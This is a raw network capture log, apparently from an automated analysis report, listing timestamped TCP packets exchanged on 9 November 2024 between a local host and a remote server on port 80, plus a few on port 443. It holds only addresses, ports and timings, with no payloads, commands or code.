Nov 9, 2024 22:09:50.265778065 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265796900 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265822887 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265835047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265846014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265856028 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265868902 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265881062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265881062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265917063 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265919924 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265933037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265933037 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265944004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265955925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265964031 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265985966 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265991926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266005993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266019106 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266031027 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266042948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266062975 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266087055 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266118050 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266129971 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266140938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266153097 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266164064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266165018 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266191959 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266216993 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266226053 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266244888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266274929 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266283035 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266382933 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266395092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266406059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266418934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266429901 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266434908 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266443014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266455889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266460896 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266468048 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266474962 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266498089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266506910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266509056 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266516924 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266530037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266536951 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266541958 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266554117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266566038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266567945 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266580105 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266594887 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266597033 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266614914 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266635895 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266716957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266729116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266738892 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266751051 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.266772985 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.266792059 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.271713972 CET	49933	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:50.271729946 CET	443	49933	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.272934914 CET	49933	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:50.272938967 CET	443	49933	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.272979021 CET	49933	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:50.272986889 CET	443	49933	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.303927898 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.303942919 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.303977013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.303988934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.303999901 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.304007053 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.304034948 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.304049015 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.304049969 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.304060936 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.304071903 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.304096937 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.304116964 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.378093004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.378123045 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.378134966 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.378190994 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.378551960 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.378604889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.378607988 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.378657103 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.378680944 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.378693104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.378705025 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.378720999 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.378746033 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.378782034 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379143953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379169941 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379184961 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379189968 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379218102 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379229069 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379265070 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379277945 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379288912 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379295111 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379317045 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379328966 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379354000 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379358053 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379375935 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379410028 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379415035 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379421949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379424095 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379432917 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379446983 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379453897 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379482985 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379506111 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379527092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379553080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379565001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379569054 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379578114 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379590034 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379592896 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379621029 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379650116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379654884 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379662991 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379703045 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379703999 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379714966 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379724979 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379750013 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379755020 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379765987 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379770994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379798889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379800081 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379822016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379822016 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379836082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379844904 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379868031 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379885912 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379908085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379920959 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379935026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379944086 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379952908 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.379964113 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379987001 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.379996061 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380070925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380084038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380095959 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380125046 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380165100 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380175114 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380187035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380198956 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380213022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380232096 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380244017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380253077 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380255938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380286932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380290985 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380297899 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380332947 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380347967 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380357027 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380361080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380373001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380378008 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380390882 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380415916 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380445957 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380446911 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380458117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380464077 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380507946 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380549908 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380563974 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380575895 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380580902 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380598068 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380629063 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380641937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380647898 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380661011 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380664110 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380667925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380695105 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380713940 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380776882 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380788088 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380800009 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380812883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380824089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380835056 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380836010 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380858898 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380862951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380876064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380877018 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380886078 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.380903959 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.380918980 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381088018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381129026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381136894 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381143093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381174088 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381181955 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381191969 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381194115 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381226063 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381232977 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381239891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381251097 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381267071 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381299019 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381335974 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381347895 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381359100 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381365061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381383896 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381392002 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381402016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381412029 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381444931 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381445885 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381457090 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381496906 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381500959 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381508112 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381515026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381541014 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381563902 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381570101 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381577015 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381588936 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381617069 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381628036 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381690979 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381702900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381738901 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381751060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381752968 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381763935 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.381788969 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.381815910 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.382457972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382471085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382497072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382508039 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382520914 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382527113 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.382545948 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.382546902 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382560015 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382561922 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.382570982 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382596970 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.382620096 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.382687092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382698059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382711887 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382724047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382735014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382735968 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.382741928 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382755995 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.382790089 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.382817030 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382828951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382841110 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382853031 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382863998 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382870913 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.382877111 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382894993 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.382909060 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.382941961 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.382945061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382958889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382968903 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382982016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382994890 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.382997036 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383008003 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383028984 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383040905 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383044004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383055925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383066893 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383111000 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383111000 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383146048 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383157969 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383169889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383182049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383192062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383193970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383205891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383209944 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383224964 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383235931 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383263111 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383275986 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383301020 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383320093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383327007 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383338928 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383349895 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383357048 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383387089 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383393049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383409023 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383419991 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383447886 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383466959 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383542061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383553982 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383564949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383575916 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383585930 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383588076 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383598089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383610964 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.383620024 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.383622885 CET	80	49813	185.215.113.206	192.168.2.5
